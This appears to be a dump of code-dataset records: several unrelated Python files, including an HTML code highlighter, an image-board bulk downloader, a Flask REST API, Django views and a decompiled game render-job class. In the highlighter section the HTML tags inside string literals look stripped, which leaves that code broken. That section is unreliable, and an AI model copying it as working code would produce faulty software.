statement\r\nprint(f'''\r\n-----------------------------------------------------------------------------------------------\r\n===============================================================================================\r\n###############################################################################################\r\n\r\nWarning! Formatting issues may arise from using a python escape character like: \"\\\\n\", (a list\r\nof these can be found at: https://www.w3schools.com/python/gloss_python_escape_characters.asp),\r\nto fix this please replace the backslash part with two backslashes, for instance: \"\\\\\\\\n\".\r\nAnother method of solving this is to use the HighlightCode() function which takes a multiline\r\ninput of your code, terminated by the termination code: {DEFAULT_INPUT_TERMINATION_CODE}\r\nLastly, this program may not work for syntax highlighting every program. By using this,\r\nyou take on the responsibility to ensure that the highlighting is accurate.\r\n\r\n###############################################################################################\r\n===============================================================================================\r\n-----------------------------------------------------------------------------------------------''')\r\n\r\n\r\n\r\ndef Preview(code):\r\n import datetime\r\n import webbrowser\r\n Path = os.path.join(os.path.expanduser('~'),'Downloads','Html - CodeSnippets')\r\n if not os.path.exists(Path):\r\n os.makedirs(Path)\r\n Name = ('Code Snippet.html')# - '+str(datetime.datetime.now())[:-10].replace(':','.')+'.html')\r\n fn = os.path.join(Path,Name)\r\n f = open(fn, 'w+', errors='replace')\r\n f.write(code)\r\n f.close()\r\n webbrowser.open_new(fn)\r\n\r\n\r\n\r\n\r\n \"\"\"\r\n /‾/ /‾/‾‾‾‾‾‾‾‾/‾| /‾| /‾/\r\n / /___/ /‾‾‾/ /‾‾/ |/ | / /\r\n / ___ / / / / | | / |/ /\r\n / / / / / / / /|__/| | /____\r\n /_/ /_/ /_/ /_/ |_|_____/\r\n |‾\\|‾|/‾‾\\ /‾‾‾‾/‾‾\\|‾| /‾‾\\|‾‾‾\\\r\n | \\ | /\\ | | /‾‾| /\\ | | | /\\ | <> |\r\n | \\ | \\/ | | \\__| \\/ | |_| \\/ | <\r\n |_|\\_|\\__/ \\____\\__/|____\\__/|_|\\_\\\r\n \"\"\"\r\n\r\n# Head the function html_NoColor\r\ndef html_NoColor(code,inline = False):\r\n \"\"\".|‾\\|‾|/‾‾\\ /‾‾‾‾/‾‾\\|‾| /‾‾\\|‾‾‾\\ .\r\n .| \\ | /\\ | | /‾‾| /\\ | | | /\\ | <> |.\r\n .| \\ | \\/ | | \\__| \\/ | |_| \\/ | < .\r\n .|_|\\_|\\__/ \\____\\__/|____\\__/|_|\\_\\.\r\n \"\"\"\r\n \r\n # Create a copy of code\r\n rawcode = code\r\n if rawcode[-6:]!='
':\r\n rawcode+='
'\r\n # Loop through the replacements\r\n for item in Replacers:\r\n # and replace\r\n rawcode = rawcode.replace(item,Replacers[item])\r\n ###### Finish Format ######\r\n # Replace the quotation and less/greater than string subsitution and tabs\r\n rawcode = rawcode.replace('“','\"').replace('”','\"').replace('⋞','<').replace('⋟','>').replace('\\t',' '*3).replace(' ',' '*4)\r\n # remove the last six characters\r\n rawcode=rawcode[:-14]\r\n # Complete the formatting\r\n if inline == True:\r\n code = f'{rawcode}  '\r\n else:\r\n code = f'

{rawcode}

 

'\r\n # Print the code\r\n print(code)\r\n\r\n\r\n\r\n\r\n'''\r\n /‾/ /‾/‾‾‾‾‾‾‾‾/‾| /‾| /‾/\r\n / /___/ /‾‾‾/ /‾‾/ |/ | / /\r\n / ___ / / / / | | / |/ /\r\n / / / / / / / /|__/| | /____\r\n/_/ /_/ /_/ /_/_____|_|_____/\r\n /‾‾‾‾‾‾/‾‾‾‾‾\\|‾‾‾‾‾\\ | _____|\r\n| /‾‾‾| /‾\\ | |‾\\ \\| |___\r\n| | | | | | | | | ___|\r\n| \\___| \\_/ | |_/ /| |_____\r\n \\______\\_____/|_____/ |_______|\r\n'''\r\n\r\n\r\n# Head the function htmlCode\r\ndef html_code(code,inline = False, Return = False, color = False):\r\n if color != False:\r\n setColorScheme(color)\r\n global ColorToType\r\n ColorToType = {\r\n \"Border\" : Border,\r\n \"Background\" : Background,\r\n \"Foreground\" : Foreground,\r\n \"Comment\" : Comment,\r\n \"String\" : String,\r\n \"Keywords\" : Keywords,\r\n \"Builtins\" : Builtins,\r\n \"Definitions\" : Definitions\r\n }\r\n # Create a copy of code\r\n rawcode = code\r\n # Loop through the replacements\r\n for item in Replacers:\r\n # and replace\r\n rawcode = rawcode.replace(item,Replacers[item])\r\n # Create an empty highlighted code string\r\n HighlightedCode = ''\r\n\r\n # If the code does not end in a new line, make it\r\n if rawcode[-6:]!='
':\r\n rawcode+='
'\r\n\r\n # Split the code with spaces to get a rough syntax separation\r\n words = rawcode.split(' ')\r\n\r\n # Set continuous highlighting booleans\r\n InComment = False\r\n InStringType1 = False\r\n InStringType1_3 = False\r\n InStringType2 = False\r\n InStringType2_3 = False\r\n InDef_Class = False\r\n\r\n #access the global separators variable\r\n global separators\r\n\r\n # loop through the rough words\r\n for WORD in words:\r\n # Create an empty word\r\n MYWORD = ''\r\n # Split the word more completely\r\n code_words = custom_split(separators,WORD)\r\n # Filter out empty string\r\n code_words = list(filter(None, code_words))\r\n # Create a reinfusement map\r\n heal_code = custom_split(list(filter(None, code_words)),WORD)\r\n # Create a list for the code\r\n Broken_Code = []\r\n\r\n # Loop through the refined syntax\r\n for word in code_words:\r\n # create an appendWord variable with a default of word\r\n appendWord = word\r\n\r\n # If we are in a comment\r\n if InComment:\r\n # If we are at the end of the line\r\n if word == '
':\r\n # End the comment\r\n appendWord = ''+word\r\n # Terminate the comment section\r\n InComment = False\r\n\r\n # Otherwise, if we are in a single quote string\r\n elif InStringType1:\r\n # If there is a single quote within our refined syntax\r\n #print('-',word,'if', word.find('\\'') != -1, \"and(\", word.find('\\\\\\'')!=(word.find('\\'')-1), \"or\", word.find('\\\\\\'') ==-1,')')\r\n #print()\r\n if word.find('\\'') != -1 and (word.find('\\\\\\'')!=(word.find('\\'')-1) or word.find('\\\\\\'') ==-1):\r\n # End the string\r\n appendWord = word.replace('\\'','\\'')\r\n # Terminate the single quote string section\r\n InStringType1 = False\r\n\r\n # Otherwise, if we are in a triple single quote string\r\n elif InStringType1_3:\r\n # If there is a triple single quote within our refined syntax\r\n if word.find('\\'\\'\\'') != -1 and (word.find('\\\\\\'\\'\\'')!=(word.find('\\'\\'\\'')-1) or word.find('\\\\\\'\\'\\'') ==-1):\r\n # End the string\r\n appendWord = word.replace('\\'\\'\\'','\\'\\'\\'')\r\n # Terminate the triple single quote string section\r\n InStringType1_3 = False\r\n\r\n # Otherwise, if we are in a double quote string\r\n elif InStringType2:\r\n # If there is a double quote within our refined syntax\r\n if word.find('\"') != -1 and (word.find('\\\\\"')!=(word.find('\"')-1) or word.find('\\\\\"') ==-1):\r\n # End the string\r\n appendWord = word.replace('\"','\"')\r\n # Terminate the double quote string section\r\n InStringType2 = False\r\n\r\n # Otherwise, if we are in a triple double quote string\r\n elif InStringType2_3:\r\n # If there is a triple double quote within our refined syntax\r\n if word.find('\"\"\"') != -1 and ( word.find('\\\\\"\"\"')!=(word.find('\"\"\"')-1) or word.find('\\\\\"\"\"') ==-1):\r\n # End the string\r\n appendWord = word.replace('\"\"\"','\"\"\"')\r\n # Terminate the triple double quote string section\r\n InStringType2_3 = False\r\n\r\n # Lastly, if we are in the heading of a function or a class\r\n elif InDef_Class:\r\n # Make the word blue\r\n appendWord = f''+word+''\r\n # Terminate the function or a class heading section\r\n InDef_Class = False\r\n #Otherwise\r\n else:\r\n # If the word is not blank\r\n if word != '':\r\n \r\n # loop through the colors\r\n for color in Colors:\r\n # if the word is in the color\r\n if word in Colors[color]:\r\n # Make the word the color it should be\r\n clr = ColorToType[color]\r\n appendWord = (f''+word+ends[color])\r\n # Set the first letter of the word\r\n primary = word[0]\r\n # get the first two and three letters of the word if it is multiple letters long\r\n try:\r\n secondary = word[:2]\r\n secEnd = word[-2:]\r\n \r\n except:\r\n secondary = primary\r\n secEnd = word[-1:]\r\n\r\n try: tertiary = word[:3]\r\n except: tertiary = secondary\r\n\r\n # If the first three letters are triple single quote string beginings\r\n if tertiary == '\\'\\'\\'':\r\n appendWord = (f''+word)\r\n InStringType1_3 = True\r\n\r\n # Otherwise, if the first one or two letters are single quote string beginings\r\n elif primary == '\\'' or secondary in str1:\r\n # if the word sets off a string or end with a string begining or the ending is not a string ending \r\n if len(word) == 1 or secondary in str1 or (word[-1] !='\\'' or secEnd =='\\\\\\''):\r\n # Start the string section\r\n InStringType1 = True\r\n # Color the word an indefinite green\r\n appendWord = (f''+word)\r\n # Otherwise\r\n else:\r\n #Start and end the string on the word\r\n appendWord = (f''+word+'')\r\n\r\n # Otherwise, if the first three letters are triple double quote string beginings\r\n elif tertiary == '\"\"\"':\r\n appendWord = (f''+word)\r\n InStringType2_3 = True\r\n\r\n # Otherwise, if the first one or two letters are single quote string beginings\r\n elif primary == '\"' or secondary in str2:\r\n # if the word sets off a string or end with a string begining or the ending is not a string ending\r\n if len(word) == 1 or secondary in str2 or word[-1] !='\"' or secEnd =='\\\\\"' :\r\n # Start the string section\r\n InStringType2 = True\r\n # Color the word an indefinite green\r\n appendWord = (f''+word)\r\n # Otherwise\r\n else:\r\n #Start and end the string on the word\r\n appendWord = (f''+word+'')\r\n\r\n # Otherwise, if the word sets off a commetn\r\n elif primary == '#':\r\n # Color the word an indefinite red\r\n appendWord = (f''+word)\r\n # Start off the comment section\r\n InComment = True\r\n\r\n # Otherwise, if the word was def or class\r\n elif word == 'def' or word == 'class' :\r\n # Start the def/class head section\r\n InDef_Class = True\r\n\r\n # Append the higlighted syntax\r\n Broken_Code.append(appendWord)\r\n\r\n ############ reinfuse the subtracted string ##############\r\n # prepare the heal_code list and the broken_code list\r\n h1 = heal_code[0]\r\n heal_code = list(filter(None, heal_code))\r\n heal_code.append('')\r\n while len(Broken_Code)< len(heal_code):\r\n Broken_Code.append('')\r\n \r\n # Loop through the items in the heal_code list\r\n for i in range(len(heal_code)):\r\n try:\r\n # Reinfuse the subtracted characters\r\n if h1 == '':\r\n MYWORD +=Broken_Code[i]+heal_code[i]\r\n else:\r\n MYWORD +=heal_code[i]+Broken_Code[i]\r\n # if it rasies an error\r\n except:\r\n # Help the debugging\r\n print('An ERROR is being raised!')\r\n print(WORD)\r\n print(heal_code, f'len: {len(heal_code)}')\r\n print(Broken_Code, f'len: {len(Broken_Code)}')\r\n # raise the error\r\n MYWORD +=Broken_Code[i]+heal_code[i]\r\n\r\n # Append the word to the highlighted code\r\n HighlightedCode += MYWORD+' '\r\n \r\n ###### Finish Format ######\r\n # Replace the quotation and less/greater than string subsitution and tabs\r\n HighlightedCode = HighlightedCode.replace('“','\"').replace('”','\"').replace('⋞','<').replace('⋟','>').replace('\\t',' '*3).replace(' ',' '*2).replace(' ',' '*2)\r\n # remove the last six characters\r\n HighlightedCode=HighlightedCode[:-17]#6\r\n # Complete the formatting\r\n if inline == True:\r\n code = f'{HighlightedCode} '\r\n else:\r\n code = f'

{HighlightedCode}

 

'\r\n # Print the code\r\n \r\n print(code)\r\n if Return == True:\r\n return code\r\n \r\n\r\n\r\n#htmlCode(input('Code Here:'))\r\n\r\nprint('\\n\\nInitiate using the \"htmlCode\" function\\n>>> htmlCode(\\'\\'\\'CODE GOES HERE\\'\\'\\') or >>> htmlCode(\\'\\'\\'CODE GOES HERE\\'\\'\\', inline = True)\\nPlease use triple quotes for multiline code\\n'+'-'*30+'\\nThe htmlCode(\\'\\'\\'CODE GOES HERE\\'\\'\\') function returns an object that can be previewed using the OBJECT.preview() command.\\n An immediate preview can be achieved by using the command htmlCode(\\'\\'\\'CODE GOES HERE\\'\\'\\').preview()\\n')\r\n\r\n\r\nclass htmlCode():\r\n \"\"\" ../‾‾‾‾‾‾/‾‾‾‾‾\\|‾‾‾���‾\\ | _____|.\r\n .| /‾‾‾| /‾\\ | |‾\\ \\| |___....\r\n .| | | | | | | | | ___|...\r\n .| \\___| \\_/ | |_/ /| |_____..\r\n ..\\______\\_____/|_____/ |_______|.\r\n \"\"\"\r\n def __init__(self, code, inline=False, color = False):\r\n print('⩋'*40+'\\n')\r\n if type(code)==tuple or type(code)==list:\r\n self.code = ''\r\n for section in code:\r\n if type(color)==tuple or type(color)==list:\r\n clr = color[code.index(section)]\r\n else:\r\n clr = color\r\n self.code += html_code(section,inline = inline, Return = True,color=clr)[:-(6+7*(inline==False))]\r\n else:\r\n self.code = html_code(code,inline = inline, Return = True)\r\n print('\\n'+'⩊'*40)\r\n \r\n def preview(self):\r\n Preview(self.code)\r\n\r\n\r\ndef HighlightCode(): \r\n try:\r\n inline = False\r\n code = Input(f'Code (end code with \"{DEFAULT_INPUT_TERMINATION_CODE}\" on an empty line after the code):',ml=True)\r\n if code.find('\\n') ==-1: inline = bool(input('Inline? (True/False)'))\r\n preview = bool(input('Preview? (True/False)'))\r\n except ValueError:\r\n print('Please make sure your input for the \"Inline?\" and \"Preview?\" prompts were booleans')\r\n return\r\n print()\r\n code = html_code(code,inline = inline, Return = True)\r\n if preview:Preview(code)\r\n\r\ndef ThemeDisplay():\r\n code = []\r\n colors = []\r\n for Theme in Themes:\r\n colors.append(Theme)\r\n code.append( f'''# {Theme} Theme Test\r\ndef Function():\r\n print('Hello')''')\r\n htmlCode(code,color = colors).preview()\r\n \r\n","sub_path":"Html_Code_Formatter_v1.1.0.py","file_name":"Html_Code_Formatter_v1.1.0.py","file_ext":"py","file_size_in_byte":30672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"389308329","text":"import urllib.request\nimport json\nimport pathlib\nimport time\n\n\n# ----------------------------------------------\n# Config\n# ----------------------------------------------\n\n# TAGS SEARCH\n\napi_url = 'https://derpibooru.org/api/v1/json/search/images?page={0}&sf=score&q={1}'\n\nban_list = ' -eqg, -anthro, -sketch, -screencap, -3d, -traditional art, -animated, -pixel art, -id card, -pony town, -fat, -meme, -derped, -tumblr'\nocs = 'oc, solo, pony,' + ban_list #-eqg, -anthro, -sketch, -screencap, -traditional art, -animated, -pixel art, -id card, -pony town, -fat, -meme, -derped'\npony_test = 'pony' #history is name of dataset\n\n# configure this\ntwi_tags = 'twilight sparkle, upvotes.lt:400, -humanized, -3d, -anthro, solo, -eqg, -animated, -plushie, -meme, -sketch'\n\n# filter things like captions and screenshots\nfilter_bad = ', -edit, -sketch, -caption, -fat, -derped, -tumblr, -animated, -pixel art, -traditional art'\n\n# pony / starlight glimmer\ntwi_and_star_2_tags = 'starlight glimmer || twilight sparkle, -humanized, -3d, -anthro, solo, -eqg, -plushie, -meme, -sketch'\n#starlight glimmer, twilight sparkle, -humanized, -3d, -anthro, solo, -eqg, -plushie, -meme, -sketch, -edit, -sketch, -caption, -fat, -derped, -tumblr, -animated, -pixel art, -traditional art\n\n# CONFIG ------------------------\n\n# set tags here\ntags = twi_and_star_2_tags + filter_bad\n\nsave_folder = 'glimmy_twi_3'\n\n# download img to hdd\ndownload = True\n# 0.5 is ok (sometimes web error), .77 now \nsleep_time = 1\n# start from page X \nstart_page = 1 \n\n# images to download (converts to pages) you need 10-100k images\nimage_count = 100000 \n\n#derpi api sizes https://derpibooru.org/api/v1/json/search/images?page=1&sf=score&q=pony\nsize = 'medium' \nfile_formats = [\"image/jpeg\", \"image/png\"]\n\n\n# ----------------------------------------------\n# Code below\n# ----------------------------------------------\n\npages = image_count // 15\n\nest_time = (pages * sleep_time * 15) / 60\n\nprint('estimated time:', est_time , 'min')\n\n\noutput_dir = pathlib.Path.cwd() / save_folder\n\n#process = True\n\nstart_time = time.time()\nctr = 0\nfor page_idx in range(start_page, pages+1):\n print('request page:', page_idx)\n time.sleep(sleep_time) # sleep\n\n # get page request\n req = urllib.request.urlopen(api_url.format(str(page_idx), tags).replace(' ', '%20'))\n\n data = req.read()\n json_object = json.loads(data.decode('utf8'))\n\n for image_idx, image in enumerate(json_object['images']):\n end_time = time.time()\n print('page>', str(page_idx) + '/' + str(pages), 'index>', str(image_idx)+'/15', 'dl>', ctr, '|| time left:', est_time-((end_time - start_time) / 60), 'min') # metrics\n \n if not image['mime_type'] in file_formats: continue\n image_url = image['representations'][size]\n image_url_parts = pathlib.PurePath(image_url).parts # https, derpicdn.net, img, 2020 ...\n\n # save with this file name\n image_filename_id = image_url_parts[6] + '.' + image_url_parts[7].split('.')[1] # id + extension 4013041350 + .png\n print('| source', image_url, '\\n| writing to:', output_dir / pathlib.Path(image_filename_id))\n if download:\n # download image request\n urllib.request.urlretrieve(image_url, output_dir / pathlib.Path(image_filename_id))\n time.sleep(sleep_time) # sleep\n ctr += 1\n\n","sub_path":"pbooru_downloader.py","file_name":"pbooru_downloader.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"276169475","text":"from xml.etree import ElementTree\nfrom requests.exceptions import HTTPError, ConnectionError\n\nfrom periscope.controllers.helpers import retry_on\nfrom periscope.controllers.cache import cache_manager as cm\nfrom periscope.services.uniprot import uniprot\n\n\nns_map = {'u': 'http://uniprot.org/uniprot'}\n\n\n@retry_on([HTTPError, ConnectionError], 10)\ndef get_protein_name(uniprot_id):\n xml_string = uniprot.get_xml(uniprot_id)\n root = ElementTree.fromstring(xml_string)\n fullname_elem = root.find('u:entry/u:protein/*/u:fullName', namespaces=ns_map)\n\n if fullname_elem is not None:\n return fullname_elem.text\n else:\n return None\n\n\n@retry_on([HTTPError, ConnectionError], 10)\ndef get_protein_ids(uniprot_id):\n xml_string = uniprot.get_xml(uniprot_id)\n root = ElementTree.fromstring(xml_string)\n\n ids = []\n for shortname_elem in root.findall('u:entry/u:protein/*/u:shortName', namespaces=ns_map):\n ids.append(shortname_elem.text)\n\n return ids\n","sub_path":"periscope/controllers/uniprot.py","file_name":"uniprot.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150668315","text":"#coding: utf-8\n\n## dummy\nimport os, sys\ncurrent_path = os.path.abspath(os.path.dirname(__file__))\ncurrent_path = current_path + \"/..\"\nsys.path.append(current_path)\nsys.path.append(current_path + \"/lib\")\nconfig_name = \"trendfollow_dummy\"\n\nimport traceback\nfrom compute_indicator import ComputeIndicator\nfrom datetime import datetime, timedelta\nimport time\nimport logging\n\nnow = datetime.now()\nnow = now.strftime(\"%Y%m%d%H%M%S\")\nlogfilename = \"%s/log/indicator_%s.log\" %(current_path, now)\nlogging.basicConfig(filename=logfilename, level=logging.INFO)\n\n\nif __name__ == \"__main__\":\n# instrument = \"GBP_JPY\"\n args = sys.argv\n instrument = args[1]\n base_time = datetime.now()\n# base_time = base_time.strftime(\"%Y-%m-%d %H:00:00\")\n base_time = base_time.strftime(\"%Y-%m-%d 00:00:00\")\n base_time = datetime.strptime(base_time, \"%Y-%m-%d %H:%M:%S\")\n time_width = 60 * 200\n compute_indicator = ComputeIndicator(instrument, time_width, base_time)\n\n while True:\n try:\n now = datetime.now()\n base_time = base_time + timedelta(minutes=1)\n while now < base_time:\n time.sleep(1)\n now = datetime.now()\n \n span = \"1m\"\n compute_indicator.computeInsertIndicator(base_time, span)\n\n except Exception as e:\n logging.info(e.args)\n logging.info(traceback.format_exc())\n\n\n","sub_path":"utility/insert_indicator_master_1m.py","file_name":"insert_indicator_master_1m.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230249776","text":"\n\"\"\"\n\nComputing features about accelerometer orientations\n\nAuthor: Binod Thapa Chhetry\n\nDate: Jul 10, 2018\n\"\"\"\nimport numpy as np\nfrom numpy.linalg import norm\nfrom SWaN_accel.utils import *\n\nclass EnergyFeature:\n def __init__(self, X, subwins=30):\n self._X = X\n self._subwins = subwins\n\n @staticmethod\n def energies(X):\n X = as_float64(X)\n if not has_enough_samples(X):\n print(\n '''One of sub windows do not have enough samples, will ignore in\n feature computation''')\n energies = np.array([np.nan])\n else:\n energies = np.array([np.sum(np.square(X))/(X.shape[0])])\n return vec2rowarr(energies)\n \n \n def get_energies(self):\n result = apply_over_subwins(\n self._X, EnergyFeature.energies, subwins=self._subwins)\n\n self._energies = np.concatenate(result, axis=0)\n return self\n\n def smv_energy_sum(self):\n smv_energy_sum = np.nansum(self._energies, axis=0)\n result = vec2rowarr(smv_energy_sum)\n result = add_name(result, self.smv_energy_sum.__name__)\n return result\n\n def smv_energy_var(self):\n smv_energy_var = np.nanvar(self._energies, axis=0)\n result = vec2rowarr(smv_energy_var)\n result = add_name(result, self.smv_energy_var.__name__)\n return result\n\n ","sub_path":"build/lib/SWaN_accel/energy.py","file_name":"energy.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213158694","text":"#!/usr/bin/python3\n\"\"\"amenities\"\"\"\n\nfrom flask import abort, jsonify, make_response, request\nfrom models import storage\nfrom api.v1.views import app_views\nfrom models.amenity import Amenity\n\n\n@app_views.route('/amenities', methods=['GET'],\n strict_slashes=False)\ndef get_amenities():\n \"\"\" get amenities\"\"\"\n get_amenitys = []\n for amenity in storage.all(Amenity).values():\n get_amenitys.append(amenity.to_dict())\n return jsonify(get_amenitys)\n\n\n@app_views.route('/amenities/', methods=['GET'],\n strict_slashes=False)\ndef get_amenity(amenity_id):\n \"\"\"get amenity\"\"\"\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n return jsonify(amenity.to_dict())\n\n\n@app_views.route('/amenities/', methods=['DELETE'],\n strict_slashes=False)\ndef delete_amenity(amenity_id):\n \"\"\"delete amenity\"\"\"\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n amenity.delete()\n storage.save()\n return jsonify({})\n\n\n@app_views.route('/amenities/', methods=['POST'],\n strict_slashes=False)\ndef post_amenity():\n \"\"\"create amenities\"\"\"\n if request.get_json() is None:\n abort(400, 'Not a JSON')\n if 'name' not in request.get_json():\n abort(400, 'Missing name')\n req_json = request.get_json()\n amenity = Amenity(**req_json)\n amenity.save()\n return make_response(jsonify(amenity.to_dict()), 201)\n\n\n@app_views.route('/amenities/', methods=['PUT'],\n strict_slashes=False)\ndef put_amenity(amenity_id):\n \"\"\"update amenity\"\"\"\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n if request.get_json() is None:\n abort(400, 'Not a JSON')\n for a, v in request.get_json().items():\n if a not in ['id', 'created_at', 'updated_at']:\n setattr(amenity, a, v)\n amenity.save()\n return jsonify(amenity.to_dict())\n","sub_path":"api/v1/views/amenities.py","file_name":"amenities.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"223964504","text":"from django.shortcuts import render\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.contrib import messages\nfrom lib.imgur import ImgurAPI\nfrom models import NinjaResult\nfrom models import ResultSource\nimport random\nfrom django.core.exceptions import ObjectDoesNotExist\n\nsub_reddits = [\n (\"ninja\", \"https://api.imgur.com/3/gallery/r/ninja\"),\n (\"cat\", \"https://api.imgur.com/3/gallery/r/lolcats\"),\n (\"fail\", \"https://api.imgur.com/3/gallery/r/fail\"),\n (\"aww\", \"https://api.imgur.com/3/gallery/r/aww\"),\n]\n\n# Index view\ndef index(request):\n\n # Test message\n messages.add_message(request, messages.WARNING, \"Click the button to see if you are the ninja.\");\n\n return render(request, 'index.html', {})\n\ndef ninja_past(request, input_uuid):\n\n result = None\n page_vars = {}\n\n try:\n result = NinjaResult.objects.get(uuid=input_uuid)\n except ObjectDoesNotExist:\n print(\"UUID: {0} Doesn't Exist\".format(input_uuid))\n messages.add_message(request, messages.WARNING, \"Sorry, that past ninja was not found\")\n return HttpResponseRedirect(\"/\")\n\n page_vars[\"ninja_result\"] = result\n\n return render(request, \"ninja_past.html\", page_vars)\n\n\n\n# Route will respond with the image/subreddit information\ndef isninja(request):\n\n # Get all source objects out of the database\n sources = ResultSource.objects.all()\n\n # Generate a random index into the sources\n index = random.randint(0,(len(sources)-1))\n\n # Select the correct source\n selected_source = sources[index]\n\n # Call the get_data method that will interact with the api\n data = selected_source.get_data()\n\n # Track the result\n result = NinjaResult(\n is_ninja=data[\"is_ninja\"],\n image=data[\"image_url\"],\n ip_address=request.META['REMOTE_ADDR'],\n message=data[\"result_message\"],\n source_api=data[\"source_api\"],\n )\n\n # Save the result\n result.save()\n\n # Get the UUID\n data[\"uuid\"] = result.uuid\n\n # Return the response to the user\n if data is not False:\n return JsonResponse(data, content_type=\"application/json\")\n else:\n return JsonResponse({error: \"Error getting data from db\"}, content_type=\"application/json\")\n","sub_path":"ninja/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"184836808","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\packages\\trinity\\sceneRenderJobSpace.py\nimport logging\nimport blue\nimport evegraphics.settings as gfxsettings\nfrom . import _trinity as trinity\nfrom . import _singletons\nfrom .renderJob import CreateRenderJob\nfrom .sceneRenderJobBase import SceneRenderJobBase\nfrom .renderJobUtils import renderTargetManager as rtm\nfrom . import evePostProcess\nlogger = logging.getLogger(__name__)\n\ndef CreateSceneRenderJobSpace(name=None, stageKey=None):\n newRJ = SceneRenderJobSpace()\n if name is not None:\n newRJ.ManualInit(name)\n else:\n newRJ.ManualInit()\n newRJ.SetMultiViewStage(stageKey)\n return newRJ\n\n\nclass SceneRenderJobSpace(SceneRenderJobBase):\n renderStepOrder = ['PRESENT_SWAPCHAIN', 'SET_SWAPCHAIN_RT',\n 'SET_SWAPCHAIN_DEPTH', 'SET_UPDATE_VIEW', 'SET_UPDATE_PROJECTION', 'UPDATE_PHYSICS',\n 'UPDATE_SCENE', 'SET_CUSTOM_RT', 'SET_DEPTH', 'SET_VAR_DEPTH', 'SET_VAR_DEPTH_MSAA',\n 'SET_VIEWPORT', 'CAMERA_UPDATE', 'SET_PROJECTION', 'SET_VIEW', 'UPDATE_BRACKETS', 'CLEAR', 'BEGIN_RENDER', 'RENDER_BACKGROUND', 'RENDER_DEPTH_PASS', 'RENDER_MAIN_PASS', 'DO_DISTORTIONS', 'END_RENDERING', 'DO_TAA', 'RENDER_DEBUG', 'UPDATE_TOOLS', 'RENDER_PROXY',\n 'RENDER_INFO', 'RENDER_VISUAL', 'RENDER_TOOLS', 'SET_FINAL_RT', 'RESTORE_DEPTH', 'SET_PERFRAME_DATA', 'RJ_POSTPROCESSING', 'FINAL_BLIT', 'SET_VAR_GATHER', 'FXAA_CLEAR', 'FXAA', 'FPS_COUNTER']\n multiViewStages = []\n visualizations = []\n renderTargetList = []\n\n def _ManualInit(self, name='SceneRenderJobSpace'):\n self.scene = None\n self.clientToolsScene = None\n self.taaPath = 'res:/fisfx/postprocess/taa.red'\n self.activeSceneKey = None\n self.camera = None\n self.customBackBuffer = None\n self.customDepthStencil = None\n self.depthTexture = None\n self.blitTexture = None\n self.distortionTexture = None\n self.velocityTexture = None\n self.accumulationBuffer = None\n self.shadowMap = None\n self.ui = None\n self.hdrEnabled = False\n self.usePostProcessing = False\n self.shadowQuality = 0\n self.useDepth = False\n self.antiAliasingEnabled = False\n self.aaQuality = 0\n self.useFXAA = False\n self.useTAA = True\n self.fxaaEnabled = False\n self.fxaaQuality = 'FXAA_High'\n self.msaaEnabled = False\n self.doDepthPass = False\n self.forceDepthPass = False\n self.msaaType = 4\n self.distortionEffectsEnabled = False\n self.secondaryLighting = False\n self.fxaaEffect = None\n self.taaEnabled = False\n self.taaPixelOffset = 0.5\n self.taaPattern = 4\n self.bbFormat = _singletons.device.GetRenderContext().GetBackBufferFormat()\n self.prepared = False\n self.postProcessingJob = evePostProcess.EvePostProcessingJob()\n self.taaJob = evePostProcess.EvePostProcessingJob()\n self.distortionJob = evePostProcess.EvePostProcessingJob()\n self.backgroundDistortionJob = evePostProcess.EvePostProcessingJob()\n self.sceneDesaturation = SceneDesaturation(self.postProcessingJob)\n self.sceneFadeOut = SceneFadeOut(self.postProcessingJob)\n self.sceneFadeOut.Enable()\n self.overrideSettings = {}\n self.SetSettingsBasedOnPerformancePreferences()\n self.updateJob = CreateRenderJob(name + '_Update')\n self.updateJob.scheduled = False\n self.gpuParticlesEnabled = True\n self.testPostProcess = None\n return\n\n def Enable(self, schedule=True):\n SceneRenderJobBase.Enable(self, schedule)\n self.SetSettingsBasedOnPerformancePreferences()\n\n def SuspendRendering(self):\n SceneRenderJobBase.UnscheduleRecurring(self)\n self.scheduled = False\n\n def Start(self):\n SceneRenderJobBase.Start(self)\n if self.updateJob is not None and not self.updateJob.scheduled:\n self.updateJob.ScheduleUpdate()\n self.updateJob.scheduled = True\n return\n\n def Disable(self):\n SceneRenderJobBase.Disable(self)\n if self.updateJob is not None and self.updateJob.scheduled:\n self.updateJob.UnscheduleUpdate()\n self.updateJob.scheduled = False\n return\n\n def UnscheduleRecurring(self, scheduledRecurring=None):\n SceneRenderJobBase.UnscheduleRecurring(self, scheduledRecurring)\n if self.updateJob is not None and self.updateJob.scheduled:\n self.updateJob.UnscheduleUpdate()\n self.updateJob.scheduled = False\n return\n\n def SetClientToolsScene(self, scene):\n if scene is None:\n self.clientToolsScene = None\n else:\n self.clientToolsScene = blue.BluePythonWeakRef(scene)\n self.AddStep('UPDATE_TOOLS', trinity.TriStepUpdate(scene))\n self.AddStep('RENDER_TOOLS', trinity.TriStepRenderScene(scene))\n return\n\n def GetClientToolsScene(self):\n if self.clientToolsScene is None:\n return\n else:\n return self.clientToolsScene.object\n return\n\n def SetCameraView(self, view):\n super(SceneRenderJobSpace, self).SetCameraView(view)\n self._SetUpdateStep(trinity.TriStepSetView(view), 'SET_VIEW')\n\n def SetCameraProjection(self, 